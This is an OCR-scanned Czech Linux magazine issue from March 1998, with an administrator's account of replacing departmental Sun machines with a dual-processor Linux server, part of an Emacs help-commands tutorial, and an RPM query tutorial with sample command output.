nejprve musel koupit. Dale jsem se dozvédél, ze SUN jiz ne-
dodava se svym systémem standardné prekladac jazyka C.
Skutecénost, Zze nékdo dokaze nazyvat UNIX bez preklada-
¢e jazyka C operacnim systémem mé docela prekvapila. Je
sice pravda, Zze mohu pro Solaris stdhnout free prekladac
gcc, ale kupovat UNIX bez C mé pripadalo pfinejmensim
podezrelé. Je rovnéz pravda, ze bych mohl v novém SUNu


ftp://ftp.ifi.uio.no/pub/pgp/
 http://wwwkeys.pgp.net
 http://www.pgp.cz/pgpnet/
http://www.pgp.cz

Linuxové noviny

Brezen 1998

z gruntu vymeénit dodany systém za Linux, ale tato cesta
meé osobné pripadala ponékud méné probadana a nejista.
Hardware stavény kolem platformy Intel dnes podle mého
nazoru dospél k takovym parametrum, ze muze byt velmi
dobre nasazen jako server pro organizaci rozsahu nasi ka-
tedry. Je pritom podstatné levnéjsi. Mi nadrizeni byli pii-
jemné prekvapeni, kdyz jsem konstatoval, Ze k nakupu no-
vého serveru nebudu potfebovat ptivodné odhadovanych
600 tisic, ale Ze bude staéit zhruba 300 tisic.

A tak jsme koupili v kvétnu minulého roku dvouproce-
sorové PPro (200MHz/512k) s 200 MB paméti RAM, dvou-
kanalové SCSI od Adapteku, s nékolika disky a paskovym
streamerem. Do ceny HW sestavy se veSla jesté velka 21 pal-
cova televize pro spravce sité, ktera je primo pripojena jako
konzola k serveru. To vyzadovalo osadit server kvalitni gra-
fickou kartou. Nezanedbatelna cena tohoto grafického roz-
hrani se schovala v cené serveru. Kdyby mél byt kupovan
monitor pro Ol§dka samostatné, byl by tento pozadavek
asi méné priuchodny. Nékteii lidé totiz nedovedou pocho-
pit, pro¢ néjaka televize muize mit vic nez dvojnasobnou
cenu ,,0bycejného* pocitace.

Zaznamenal jsem technicky pokrok i v této oblasti. Mo-
nitor mi pracuje s obnovovaci vertikalni frekvenci 105 Hz
(doladil jsem editaci tajemnych ¢isel v XF86Config). Od té
doby mi pripada, ze vSechny staré SUNovské televize zce-
la nepristojné pomrkavaji. Jak jsem se na né mohl jesté
nedavno tak dlouho koukat!

S nakupem hardware jsem mél u jisté nejmenované po-
meérneé velké firmy obrovské problémy. PiedevSim mi nebyli
schopni zajistit AT klavesnici QWERTY. Dale tvrdili, Ze ser-
ver zahorovali na Linuxu, ale na dodaném disku zbyla par-
tition MS DOS. Poté co jsem se o to zacal zajimat, nikdo
z firmy mi o tom zahorovacim Linuxu nebyl schopen nic §i-
ci. Pri souctu cen jednotlivych komponent podle katalogu
firmy véetné procent za skladovani a zahorovani jsem do-
Sel k éislu o 20 tisic mensi, nez co si firma uc¢tovala. Do ser-
veru puvodné dodali procesor PPro s 256k cache, zatimco
ja jsem zadal 512k. Kdo sledoval v 1été minulého roku ceny
téchto procesord, vi, Ze cena druhého z nich (a¢koli na stej-
né frekvenci) byla asi dvojnasobna. Museli jsme tedy zadat
0 vyménu procesoru.

Séf pobotky (ne)zminéné firmy mi nebyl ochoten fici,
o kolik jsem vlastné uSetril, kdyz jsem u nich koupil zaii-
zeni bez opera¢niho systému. Prohlasil, ze jejich firma je
vazana smlouvou s firmou Microsoft. Cena, kterou muse-
ji této firmé za kazdy predinstalovany MS systém zaplatit,
je otazkou obchodniho tajemstvi a nesmi byt zverejnéna.
To je ale blbost nejrubsiho zrna. Ja jako zakaznik si prece
mohu nechat udélat odhad ceny na zarizeni do posledniho
tlacitka mysi stejné, ale jednou s predinstalovanym MS sys-
témem a jednou bez ného. Rozdil téchto dvou cen je hleda-
na ¢astka. Nebo snad ne? Druhda moznost je, Ze jsem firmé
Microsoft nedobrovolné zaplatil onéch 20 tisic, aniz bych si
to pral a aniz bych po ni cokoli chtél!

S pristrojem jsem mél nékolik mésict jesté rizné hard-
warové problémy. Uvedu jen jeden priklad. Ac¢koli SCSI dis-
Ky byly ULTRA a sbérnice taky, zahadné na vysoké frek-
venci pracovaly jen nékteré disky. Dodané vychozi nastave-
ni pocitaée vibec nebralo v ivahu pouziti sbérnice v UL-
TRA rezimu. Vyzkousel jsem tedy zaruéni servis, o kterém
se zminény $éf pobocky zarucoval, zZe je kvalitni. Ti lidé od
firmy mi pripadali, ze s SCSI maji pomérné malé zkuSenos-
ti, ¢asto si pristroj odnaseli do servisu a zase vraceli, sami
nebyli skoro na nic schopni fundované odpovédét. Nakonec
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také priznali, Zze se na tom teprve uci! Takze se na$ server
stal pokusnym kralikem pro jejich experimenty. Takto jsem
si urcité servis nepiedstavoval.

Po nainstalovani Linuxu ze Slackware (nemam nic pro-
ti Red Hatu ani Debianu, ale Slackware jsem mél uz davno
predtim osahany) mé ¢ekaly uz prijemnéjsi véci. Sotva jsem
vybalil pristroj z Krabice a zavedl do néj operacni systém
(ze zdroje sunsite.mff.cuni.cz), spustil jsem na ném dekryp-
tovaci program DESu. Jisté si vzpominate, Ze v minulém
roce probéhla na Siti davova manie pocitani tohoto Kklice.
Drive, nez jsem mél na serveru zprovoznény jakékoli sluz-
by, zaradil jsem se do této manie. Bylo prijemné pozorovat,
jak se novy pocita¢ mezi ostatnimi svym vykonem zviditel-
nuje a haji barvy Linuxu. Mizete namitnout, Ze §kola jisté
nekoupila tak drahy pristroj, aby si na ném administrator
takto hral, ale na druhé strané se to dalo povazovat jako
dobry zatézovaci test procesort, neboli ono firmou tézko
vysvétlené , zahorovani“.

Hned napoprvé po kompilaci jadra 2.0.30 pro vice proce-
sorl (odkrytim fadku SMP=1 v Makefile) systém zacal vy-
uzivat oba procesory a bézi stabilné dodnes. Bez problému
se mi podarilo formatovat disky s ext2fs ve velikosti parti-
tiond vétsi nez 2 GB. To u starych SUNU nebylo mozné, ale
v dusledku neustale rostoucich pozadavki na kapacity si-
tovych diskl to uz bylo vice nez nutné. Server se tedy stal
diskovym serverem zvlasté pro uzivatelska data. Uzivate-
1é k nim pfistupuji pomoci PC NFS, nebo ze SUNU, nebo
(nové) pomoci Samby, coz umoznuje divat se do sitovych
UNIXovych diskl i zatvrzelym Microsoftistim.

Nainstalovanim IPX rozhrani do serveru a noveé vyuzitou
funkei re-export nabizim pro PC NFS i pro SUNy disky, kte-
ré jsou Cteny ze vzdaleného fakultniho Novellského serve-
ru. Do tabulky crontab jsem pridal test startovany kazdou
hodinu, zda se fakultni Novellsky server neskacel a zda te-
dy neni potfeba obnovit ncpmount. Linux tak funguje ja-
ko filtr mezi IPX protokolem Netware a NFS protokolem,
ktery jsem v nasi katederni siti pouzival uz davno (Novella
neprovozuji). Uzivatelé starych PCéek ocenili, ze nemuseji
pokazdé znovu bootovat své strojecky, pokud stiidaji pri-
stup mezi katedernimi NFS disky a fakultnimi Novellsky-
mi disky. Nyni vidi oba typy diski pomoci PC NFS z DOSu
soucasné. Vidét Novellské disky namontované pomoci NFS
z Linuxového serveru i na SUNech je také prijemné.

Do kazdé ¢tyriosmsestce v poéitacové uéebné jsem insta-
loval ochuzeny Linux (disky jsou tam uz ponékud mensi),
ktery montuje softwarové svazky /usr/local resp. share
ze serveru. Lokalné maji instalovano predevsim X, které se
nejcastéji v utebné spousti jako ~query server. Tém kal-
kulackam se 17 palcovymi monitory grafické rozhrani slusi,
a pritom dostaly ,,druhou mizu“ z vykonu nového serveru.
Ten se tedy stava predevsim aplika¢nim serverem pro dva-
nact pocitac v ucebné a nékteré dalsi v kancelaiich ko-
na grafické pripojeni k SUNUm. Dnes se pripojuji k Linu-
xu. Na serveru nékdy bézi pies 500 procesu a je tam pri-
hlaSeno tieba dvacet uzivateld. Jsou k dispozici i naro¢né
matematické programy Mathematica 3.0 a Maple V R4. Pii-
tom server stiha. Jen tak bokem funguje i jako fontserver
pro X terminaly. Pfece nebudu po instalaci nového fontu
obchazet vSechny pocitace na katedie!

Jiz pred mnoha lety jsem délal podobny pokus se SUNem
(SPARCStation 5), kdy jsem spustil vSech dvanact pocita-
¢d ucebny jako grafické termindly proti jedinému SUNu.
Jakmile jsem ale oteviel v ramci tohoto pokusu ponékud
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vice procesy, zac¢al mit SUN potiZze s forkovanim a neda-
lo se na ném nic délat. Jsem tedy prijemné prekvapen, ze
dnesni linuxovy server nema tytéz problémy. Pokrok holt
nelze zastavit.

Protoze nase staré SUNy svym vykonem uz zdaleka ne-
staci, rozhodl jsem se vyuzit aspon jejich velké pékné obra-
zovky. Bohuzel SUNovsky X server Xnews neumoznuje pou-
Zit parametr —query. Musel jsem tedy pro SUN kompilovat
XFree86. Nyni SUN nabidne uzivateli bud ptvodni grafické
rozhrani v lokalnim provozu zprostiedkované pomoci pu-
vodniho Xnews nebo grafické rozhrani linuxového serveru
pomoci XFree86 s parametrem -query server. Tim jsem
vratil zivot i témto postar§im SUNUm. Pro srovnani: kom-
pilace kompletniho XFree86 na nasem starém (ale nejvy-
konnéjsim) SUNu SPARCStation 5 trvala pul dne, zatimco
tataz operace na novém linuxovém serveru trva ¢tvrt hodi-
ny.

Uvedena centralizace softwaru a degradace Klientd
na pouhé projekéni platno, na némz se promita to, co se
odehrava na serveru, ma obrovské vyhody pro administra-
tora sité. Prosté nainstaluji novy software na jediném mis-
té, vyzkousSim a mohou jej okamzité pouzivat vSichni. Na-
priklad Wolframova Mathematica je instalovana jen jednou.
Uzivatelska konta jsou spravovana centralné a bezpecnéji.
Rizné pocitace kdekoli na katedie nabidnou uzivateli vzdy
zcela stejné uzivatelské rozhrani zavislé na uzivatelskych
preferencich. Pravidelna archivace vSech uzivatelskych dat
na pasky probiha lokalné. SlySel jsem, ze jini administra-
tori, kteri pro Mathematicu zvolili platformu Windows NT,
musi kazdou chvili obchazet jednotlivé pocitace a poirad
néco konfigurovat.

Podle mého nazoru je treba soustredit investice do dis-
ki, paméti RAM a procesord na strané serveru a do vel-
kych monitord a vykonnych grafickych karet na strané kli-
entd. Tam nejsou potieba velké disky a vykon procesoru.
Bohuzel, vétsina na trhu proddavanych pocitac¢a (platformy
Intel) tuto filosofii nedodrzuje. Jako prvni idaj v katalogu
si muzeme precist, jak moeny procesor sestava obsahuje,
jak veliky disk ma, a nékde v koutku vzadu se kréi informa-
ce o tom, ze v zakladni sestavé se pocita pouze s patnacti
palcovym divadelnim kukatkem.

V dnes$ni dobé nabizi server jiz pomérné dost aplika-
ci. Kromé Mathematicy a Maple je veSkery software cer-
pan z free zdroju (aspon pro akademické instituce). Uvedu
neuplny seznam aplikaci, které jsou k dispozici: Netscape,
Emacs, TEX, LyX, Ghostview, Acrobat reader, Imagemagic,
xv, Gnuplot, Xfig, souborové managery, e-mail managery,

Aby toho nebylo dost, jsou k serveru pripojeny sitové tis-
karny. Klienti startuji tiskové ulohy jednak z PC NF'S, ne-
bo prostiednictvim Samby nebo standardnim UNIXovym
zpusobem. Server ,o¢icha“ prvni dva znaky tiskové ulohy
a pokud zjisti, Ze se jedn4 o PostScript (%!) a dloha je pii-
tom zasilana na nePostScriptovou tiskarnu, automaticky
ulohu profiltruje Ghostscriptem. Klienttim se tedy jevi vir-
tualné vSechny sitové tiskarny jako PostScriptové. Véetné
napriklad jehlickové tiskarny.

S tiskarnami souvisi problém paralelnich porti. Do ser-
veru jsem dokoupil jedno paralelni rozhrani navic, takze
tiskarny mohou byt dvé. Ulohy pro dalsi tiskdrny jsou po-
silany na puvodni mista ke starym SUNuUm. Vzpominam si,
ze paralelni rozhrani pro SUNy nebylo viibec ve standardni
vybavé a ze to taky tehdy nebyla zadna lace. Piitom u PC¢-
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ka mame paralelni port skoro vzdy a druhy lze velmi levné
dokoupit.

Kromé paralelnich porti je vyuzita vétSina portd sério-
vych. Na§ pocita¢ ma seriové porty ¢tyri. Bylo potieba na-
stavit nékteré z nich na nestandardni IRQ, protoze od vy-
robce je nastaveni takové, ze se IRQ vzdy dvou seriovych
portu prekryvaji. To se Linuxu nelibi. Jeden port jsem ob-
sadil hlodavcem, k druhému je pripojen stariéky textovy
terminal a po tfetim portu komunikuje server s modemem.
Tam Kkraluje mgetty+sendfax. Konfigurace umoznuje priji-
mat oficidlni katederni faxy a o prijmu faxu rozeslat zpravu
administrativnim osobam. To Setfi nase lesy. Faxy lze také
posilat pfimo z UNIXu. Sta¢i mit pfipraveno TeXovské dvi
a Sup s nim do faxové fronty. Software jej automaticky kon-
vertuje na PostScript a ten na faxovy g3 a dale se jej snazi
odfaxovat v intervalech, stanovenych v tabulce crontab.

Protoze telefonni linka neni na faxy prili§ vyuzita, je soft-
ware kK modemu konfigurovan téz jako jednoduchy ,termi-
nalovy server“, ktery umoznuje pripojeni jednoho pocita-
¢e po telefonu protokolem PPP do sité Internet. To vyuzi-
ji nékteri $tastnéjsi kolegové, ktefi maji doma u pocitace
modem. Zatim takovych ,modemistd“ neni mnoho, takze
jedna telefonni linka je pro nasi katedru dostacujici.

Je tedy vidét, ze linuxovy server pracuje na naSem praco-
visti jako ,holka pro vSechno“. Neuvedl jsem, Ze na ném bé-
7{ také DNS server a mozna Ze jsem na plno dalsich funkei
zapomneél.

Kromé uvedeného serveru jsme koupili jesté jeden poci-
tac. M4 jen jeden méné vykonny procesor, je bez monitoru,
ma méné paméti a jediny SCSI disk. Opera¢nim systémem
je samozrejmé Linux a presunu na néj mail server (ze sta-
vajiciho SUNu) a DNS server. Tento strojec¢ek lze poridit
pomérné levné - asi za tficet tisic. Z bezpeénostnich da-
vodu do néj nepustim uzivatele. Sit naseho pracovisté (asi
40 zaméstnancd a 200 studentu stfidajicich se v ucebné)
tedy bude postavena hlavné na jednom vykonném aplikac-
nim serveru a jednom serveru pro sluzby. WWW server a ftp
server[(1)]zlstane zatim na stafickém SUN OS, ale az tento
pristroj odejde do véénych lovist, urcéité jej naprosto bez-
problémové nahradi Linux. [ |

1 WWW server math.feld.cvut.cz
http://math.feld.cvut.cz

Emacs? Help! (2.¢ast)
Milan Zamazal, 9.birezna 1998

Posledné jsme se seznamili se zakladnimi dokumenty po-
pisujicimi Emacs a poskytujicimi uzivateli podrobnou na-
povédu. Tentokrat se zamérime na programy, které kvalitni
info dokumentaci nedisponuji. Povime si také néco o kla-
vesovych prikazech a zastavime se u pfikaza pro rychlé zis-
kani napovédy.

Dokumentace k programum

Mnohdy se stava, Ze narazite na zajimavy balik, ktery vSak
nema vlastni info dokumentaci. Co potom?

Rada emacsovskych program@ definuje néjaké moédy, at
uz hlavni nebo vedlej$i. V pfipadé takovych programi mu-
zete vyuzit pfikazu [C-h m], ktery zobrazi dokumentaci pro
vSechny momentalné aktivni moédy. Pritom popis aktivni-
ho hlavniho médu obvykle naleznete aZ na konci vypisu
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dokumentace, musite tedy zobrazenou napovédou trochu
zalistovat, hledate-li informaci pravé o hlavnim maodu.

sahlejsi popis v ivodnich komentarich ve svém zdrojovém
textu. Obvykle tam naleznete informaci o instalaci, zaklad-

proménnych. Pokud se zdrojovy kéd nachazi nékde ve stro-
mu emacsovskych adresaid, naleznete jej nejsnaze pomoci
piikazu (tento pfikaz mize byt téz uzitec-
ny v pripadé, kdy si nejste jisti, zda se vam nahodou mis-
to instalované nejnovéjsi verze nezavadi néjaky zapomenu-
ty exemplar daného programu). Pokud neznate ani jméno
programového souboru a znate napriklad pouze jméno je-
ho hlavni funkce, zkuste [C-h f]. Tento piikaz kromé popisu
funkce vypiSe i jméno souboru, ze kterého byla nac¢tena. To
muze byt spojeno s uréitymi obtizemi:

e Muzete se dozvédét, ze funkce je built-in. Pak neni
definovana v zadném elispovském souboru, nybrz je
definovana ve zdrojovych textech v jazyce C.

e Muzete se dozvédét, ze se jedna o compiled Lisp
function, ale uz ne to, kde se jeji definice nachazi. To
znamena, ze funkce je sice elispovska, ale zakompilo-
vana v bindrce Emacsu kvuli sdileni paméti nebo byla
definovana dynamicky v téle jiné funkce a tudiz neni
znam soubor s jeji definici.

V druhém pripadé 1ze stéle jeSté pouzit tags. Mate-li
Emacs instalovan v adresari directory, vygenerujete pii-
kazem

rm -f TAGS
find directory -name ’*.el’ -print | xargs etags -a

index vSech elispovskych proménnych a funkeci definova-
nych v distribuci Emacsu (musite mit ovSem samoziejmé
instalovany zdrojové *.el soubory). Kdykoliv pak hledate
néjakou funkci nebo proménnou ze standardni distribuce
Emacsu, naleznete ji velmi rychle ptikazem [M-. |. Pozor, né-
kdy musite pro nalezeni spravného vyskytu aplikovat hle-
dani opakované prostfednictvim [C-u M-.].

Zdrojové texty jsou zajimavé nejen z hlediska uvodnich
komentait. Pokrodéilej§i uzivatel si v nich najde zajimavé
defvary. Pro uZivatele vladnouci (na prvni pohled magic-
kou) schopnosti programovat v Elispu jsou pak zdrojové
texty pravym pokladem. Lze v nich nalézt nesc¢etné mnoz-
stvi tipl a zajimavosti a neziidka do nich ¢lovék nahlédne
praveé proto, aby zjistil ,jak se néco déla“. Programujete-li
v Elispu a nemuizete najit navod pro néjakou véc po manu-
alech, zkuste si vzpomenout, kde jste odpovidajici chovani
jiz vidéli. Navod pak najdete ve zdrojovych textech prislus-
ného programu. (Pro neznalce Elispu to celé muze znit jako
pokus o vtip, ale skuteénost je jina. Elisp je velmi citelny
jazyk a nalézt néco v jeho zdrojovych textech je obvykle
daleko snazsi, nez si mozna myslite.)

Vratme se zpatky k béznému uzivateli. MUze se stat, ze
narazite na rozsahly balik se §patnou dokumentaci (jako je
napriklad w3) a potiebujete jej zkonfigurovat. Pokud autor
disponuje alespon elementarni mirou ucty k uzivateli, tak
dokumentuje prinejmensim konfigura¢ni proménné pomo-
ci customize. (Pokud nevite, co to customize je, nahlédnéte
do menu ,,Help“ a zvolte odpovidajici polozku; pozor, stan-
dardné je pritomna az v Emacsu 20.) Na prvni pohled se
muze zdat, Ze customize je zde pouze pro uzivatele, ktefi
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si neumi zkonfigurovat Emacs editaci souboru ~/.emacs.
Ve skuteénosti vSak ma tento mechanismus i vyznamnou
vedlejsi funkei - naleznete zde totiz hierarchicky usporada-
né konfiguraéni proménné s popisem a moznosti je ihned
nastavit a pripadné i ulozit. A pak uz vlastné zadnou dalsi
dokumentaci ke konfiguraci baliku podporujiciho customi-
ze nepotrebujete!
Pouceni pro tvurce elispovskych programu:

Své programy v uvodnich komentarich stru¢né doku-
mentujte.

Uzivatelské proménné deklarujte pomoci defcustom,
nikoliv pomoci defvar.

Pokud neni jiz z nazvu funkce ¢i proménné zcela ziej-
mé, k jakému ucelu slouzi, nezapomente ji vybavit do-
kumentaénim retézcem. To plati i pro trividlni funkce
- usetii to hledani definice funkce pii ¢etbé zdrojovych
texti.

Zejména bezpodmineéné dokumentujte vSechny inter-
aktivni funkce a uzivatelské promeénné.

Podrobné dokumentujte mody, které vas program de-
finuje.

Klavesy

Castym problémem je vyznat se v pomérné pocetngch kla-
vesovych kombinacich.

Nejcastéjsi otazkou byva: ,,Co tato Klavesova zkratka
vlastné déla?“ Nechcete-li byt obtézovani dlouhymi vykla-
dy, pouzijte [C-hc] To se hodi zejména v pFipadé, kdy si
chcete pripojit funkei tfeba na néjakou funkéni klavesu
a potiebujete znat jeji jméno pro zapsani odpovidajici de-
finice do ~/.emacs. Pokud chcete ziskat kompletni napo-
védu k funkei dané klavesy, pouzijte [C-h k]

Pokud naopak nevite, pomoci kterych Klaves lze néja-
kou funkei vyvolat, mizete zkusit:

e Podivat se do menu. Lze-li funkci vyvolat klavesovou
zKkratkou, ma tuto zkratku prislusna polozka menu
u sebe uvedenu.

Funkci provést prostrednictvim zadani jejiho plného
jména po [Mx. Je-li dosazitelna i klavesovou zkratkou,
Emacs vas na to po jejim provedeni (v Emacsu 19 pred
jejim provedenim) upozorni.

Pouzit pfikaz [C-h w ] V§hodou tohoto piikazu je to, ze
vam zobrazi *vSechny* kKlavesové kombinace, pomoci
kterych lze zadany prikaz vyvolat.

Casto se téZ stava, Ze néco nechténé zmaéknete a ono
to provede zajimavy prikaz, ktery dosud neznate. Radi bys-
te védeéli, ktery prikaz to byl, protoze je vam ihned jasné,
ze jej ted budete naprosto nezbytné a opakované potie-
bovat. Pomiize vam prikaz [C-h 1], ktery zobrazi poslednich
100 stisknutych Kklaves. Mimochodem, vite, pro¢ neni dob-
ré odchazet od neuzamceného Emacsu, ve kterém jste se
pravé prihlasili na vzdaleny pocitac¢ se zadanim hesla?

Neékteri lidé maji vyvinutéjsi smysl pro systematiénost.
Ti se pak s ndhodnym bouchanim do klavesnice nespoko-
ji a chtéji vidét vSechno najednou. Pro ty je idedlni prikaz
[C-hb] Ano, je to trochu pfehnané, ani tento pfikaz nema-
ze zobrazit spo¢etné mnoho piikazi Emacsu, takze zobrazi
pouze aktualné dostupné klavesové kombinace. Ty jsou sa-
mozrejmé zavislé na momentalné aktivnich hlavnich a ve-
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dlejsich moédech. Pokud vas zajimaji pouze prikazy zacéina-
jici uréitym prefixem, muizete si je nechat vypsat zadanim
prefixu nasledovaného stiskem [C-h]. Napiiklad piikazy pro
praci s registry, zalozkami a obdélnikovymi bloky si vypiSe-
te pomoci [Cxr C-h]. Typické piikazy aktudlniho hlavniho
modu pak pomoci [C-c C-h].

Proménné a funkce

Zejména pri editaci souboru ~/.emacs €i programovani
v Elispu vyuzijete prikazy a zobrazujici do-
kumentaci zadané funkce (pfipadné makra) nebo promén-
né. Neocenitelnou vyhodou téchto piikazul je to, Ze posky-
tuji pristup k nejaktualnéjsi a obvykle i nejuplnéjsi doku-
mentaci k béznym objekttim. Pokud mate pii programova-
ni v Elispu notorické problémy zapamatovat si argumenty
funkeci, pouzijte ,eldoc-mode“. Tip: Piikaz vétsinou
nabizi identifikator z posledniho volani funkce pred kurzo-
rem, nikoliv slovo pod kurzorem, muzete si tedy mnohdy
usetrit pohyb kurzoru.

Jednim z nejmocnéjsich pfikazi napovédy Emacsu je
apropos. Apropos prikazy vam umozni vyhledat funkeci
nebo proménnou podle regularniho vyrazu. Zadate regu-
larni vyraz a Emacs vam vypiSe vSechny funkce a promén-
né, které zna a které tomuto vyrazu odpovidaji. Kliknu-
tim nebo stiskem na dané polozce z vyhledaného se-
znamu se vam zobrazi dokumentace k odpovidajici funk-
ci nebo proménné. Apropos existuje ve trech zakladnich
variantach:

. vyhledava mezi uzivatelskymi piikazy (interak-
tivni funkce).

. vyhledava mezi uzivatelskymi piikazy a uzi-
vatelskymi proménnymi.

. prohledava cely jmenny prostor.

VSe, co najdete pomoci [C-hal], naleznete i pomoci
[M-x apropos]. Avsak vyrazné omezuje mnozstvi na-
lezenych objektl, takze se muzete vyhnout efektim zna-
mym z odpovédi vyhledavacich stroji na Webu po zadani
prilis obecného dotazu.

Na prvni pohled nemusi byt ziejmé, o jak mocny nastroj
se jedna. Kdo se ale nauéi apropos efektivné pouzivat, uset-
i si spoustu hledani v manudalech a ve zdrojovych textech.
Napiiklad potiebujete obratit pofadi fadkd v souboru. Sta-
¢i si uvédomit, ze s obracenym poradim by mohlo mit né-
co spole¢ného anglické slovo ,reverse“. Zjevné by se mélo
jednat o uzivatelsky piikaz, takze zadate
a ve zobrazeném vysledku jiz odpovidajici funkci snadno
naleznete. Nebo provadite sofistikovanou konfiguraci Gnus
a potrebujete pro své tcely najit néjaky vhodny hook. Po-
uzijete [M-x apropos "\(gnus\|message\[nn)).*hook RET| stopro-
centni jistotu, Ze pred sebou vidite kompletni seznam vSech
hookt, které muzete pouzit. Nebo vas zajimaji moznosti
BibTEX moédu. Aplikujete tedy [C-u C-h a “bibtex RET |. (Ten-
to priklad je ponékud umély, spiSe byste na tomto misté
pouzili customize.)

Pozor na malou zaludnost: Nékteré programy jsou zava-
dény prostrednictvim autoload mechanismu az pri vyzada-
ni jejich funkei. Do doby jejich zavedeni zadny z piikazi
pro popis funkce nebo proménné a tim padem ani apro-
pos nevi o existenci vét§iny funkci a proménnych definova-
nych v tomto baliku. Chcete-li proto hledat napriklad né-
co tykajici se Gnus, je dobré nejprve Gnus spustit a chvili
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s nimi pracovat, protoze teprve potom je naétena vétsina
programovych souborti Gnus a nebudete se marné snazit
najit dosud nezavedenou proménnou. TotéZ plati pro pri-
klad s BibTeXem - pied aplikaci apropos nejprve oteviete
libovolny (tfeba prazdny) .bib soubor.

Pouceni pro programatory v Elispu:

e Dbejte na vhodnou volbu jmen proménnych a funkci,
méjte na paméti situaci uzivatele pouzivajiciho apro-
pos.

RozliSujte interni a uzivatelské proménné pomoci
hvézdicky v dokumentaénim retézci funkce defvar ¢i
makra defcustom.

Prectéte si sekci ,,Documentation Tips“ v manualu
Elispu. Budete pak schopni lépe dodrzovat dokumen-
ta¢ni konvence, které usnadni situaci uzivateli, tj. to-
mu, pro koho dokumentaci piSete.

Pristé

V zavérec¢né casti tohoto miniserialu si fekneme, jak hle-
dat programy slouzici k zaddanému ucelu, kde hledat dalsi
pomoc a také malinko poradime viajisttim.

Ziskavani informaci z databaze RPM
Jan ,)Yenya“ Kasprzak, 10. inora 1998

V predchozich dilech naseho seridlu jsme vidéli, Ze sys-
tém RPM udrZuje mnoZstvi informaci o nainstalovanych
balicich i o jednotlivych souborech v nich. Tyto informace
pak pouziva pri dalsi praci s RPM baliky - pii jejich insta-
laci, ruSeni a povySovani. Systém RPM ale také umi tyto
informace zpfistupnit uzivateli pomoci nékolika druht do-
tazl. A o dotazech na databazi RPM bude fe¢ v tomto dilu.

K ¢emu lze tyto dotazy pouzit?

Dotazovani se provadi piikazem rpm -q. Uvedu zde nékolik
prikladu situaci, které fesi dotaz do RPM databéaze:

Na vaSem stroji je soubor /usr/include/pthread.h,
ale nevite, ze kterého baliku tento soubor pochazi.

Nedavno jste si nainstaloval Secure Shell a chcete
k nému najit néjakou dokumentaci.

Ziskate software, o némz autor tvrdi, Ze potrebuje
libc verze aspon 5.4.30. Chcete zjistit, jaka je vlast-
né verze libc na vaSem systému.

Nararzili jste na siti na RPM balik a chcete zjistit, co
obsahuje.

Pravé jste upgradovali systém na libc verze 6 a chce-
te zjistit, které baliky na vasem systému stale jesté
potrebuji starsi verzi 1ibc 5.

Toto je oviem jen nékolik piikladi. Nyni podrobné k jed-
notlivym ¢astem dotazu. Dotaz se sklada ze dvou hlavnich
¢asti - prvni uréuje mnozinu balikd, o nichz chcete infor-
mace zjistit, druha rik4, jaké informace se o téchto balicich
chcete doveédét.
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$ rpm -qpi soubor.rpm

Name : squid Distribution: (none)

Version : 1.NOVM.20 Vendor: (none)

Release 03 Build Date: Sun Feb 1 00:50:11 1998
Install date: Sun Feb 1 09:19:37 1998 Build Host: gloin

Group : Networking/Daemons Source RPM: squid-1.NOVM.20-3.src.rpm
Size : 693576

Packager  : Jan "Yenya" Kasprzak <kas@fi.muni.cz>

URL : http://squid.nlanr.net/

Summary : Squid Internet Object Cache

Description :

Squid is a caching proxy for www/ftp/gopher
Please read the documentation-Files!!

Vypis 15: Informace o RPM baliku

Cast prvni - vybér balikd $ rpm -qp trubka

e Dotaz muzete omezit na balik urc¢itého jména. Takto
napriklad zjistite aktualni verzi nainstalovaného bali-
ku:

$ rpm -q squid
squid-1.NOVM.20-3

$ rpm -q postgresql
package postgresql is not installed

Je vidét, ze pokud specifikujeme jen ¢ast dotazu pro
vybér baliki, ale nikoli ¢ast specifikujici pozadované
informace, dostane se nam odpovédi ve formé jména
baliku, jeho verze a jeho release (oddéléno pomlcka-
mi) a nového radku.

e Na druhé strané muzeme vypsat vSechny baliky v sys-
tému. K tomu slouzi prepinac¢ -a:

$ rpm -qa|sort
ElectricFence-2.0.5-5
MAKEDEV-2.3.1-1

Z1ib-devel-1.0.,4-2

o Dale lze dotaz omezit na baliky, kterym patii néjaky
soubor v systému pomoci prepinac¢e -f soubor:

$ rpm -qf /etc/printcap
setup-1.9-2

Zde je nutno dat pozor na to, Ze RPM si v databa-
zi uklada baliky s absolutni cestou, a Ze tedy dotazy
mohou byt zodpovézeny rozdilné, prestoze se jedna
o tentyz soubor:

$ rpm -gf /etc/X11/xdm/Xaccess

XFree86-3.3.1-14

$ rpm -qf /usr/lib/X11/xdm/Xaccess

file /usr/1ib/X11/xdm/Xaccess is not owned by any package

e Lze se také dotazovat na RPM soubor, ktery nemu-
si byt zatim nainstalovany. Jak vime, v RPM soubo-
ru je primo ulozen jeho nazev, takze jej lze zjistit i po
prejmenovani:
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passwd-0.50-10

Jak jiz bylo feéeno na zacéatku tohoto serialu, jsou
RPM baliky sdruzovany do tematickych skupin.
Chceme-li si vypsat vSechny aplikace, které se tyka-
ji prace se zvukem, pouzijeme nasledujici prikaz:

$ rpm -qg Applications/Sound
cdp-0.33-8

maplay-1.2-6

sox-11g-6

timidity-0.2i-2

o Nékdy potiebujeme zjistit, ktery balik poskytuje urci-
tou vlastnost, kterou mohou jiné baliky vyzadovat —
napriklad chceme zjistit, ktery balik poskytuje 1libc
verze 6:

$ rpm -q --whatprovides libc.so.6
glibc-2.0.6-9

e Dudlnim problémem k predchozimu je zjisténi sezna-
mu balikd, které vyzaduji danou vlastnost — napriklad
v uvodu zminovany dotaz na baliky, které jesté vyza-
duji starsi verzi libc:

$ rpm -q --whatrequires libc.so.5
xpdf-0.7-2

snd-1-1

timidity-0.2i-2

Cast druha - v§bér informaci

V predchozi ¢asti jsme vidéli, ze implicitné se vypisuje jmé-
no baliku, jeho verze a release. Mizeme ale zjiStovat ta-
ké mnozstvi jinych informaci. Nejprve si ukdzeme nékteré
prepinace pro podrobnéjsi vypis, a v zavéru popiSeme kon-
strukci jakkoli obecného vypisu informaci.

e Piepinacem -i ziskdme vypis souhrnnych informaci
o daném baliku. Predpokladejme napriklad, ze nam
nékdo dal néjaky RPM soubor, a my o ném chceme
zjistit podrobnosti (viz vypis Mm¥Informace o RPM ba-
liku).

Vypis obsahuje mnozstvi informaci. Lze z néj napri-
klad zjistit, ze nékteri lidé dokazi v nedéli v jednu ho-
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dinu v noci vyrabét RPM baliky :-). Myslim, ze vy-
Se uvedeny vypis nepotirebuje podrobnéjsi komentar
k jednotlivym polozkam.

e Piepina¢ -1 - seznam soubord v baliku:

$ rpm -ql ncftp
/etc/X11/mconfig/ncftp
[usr/bin/ncftp
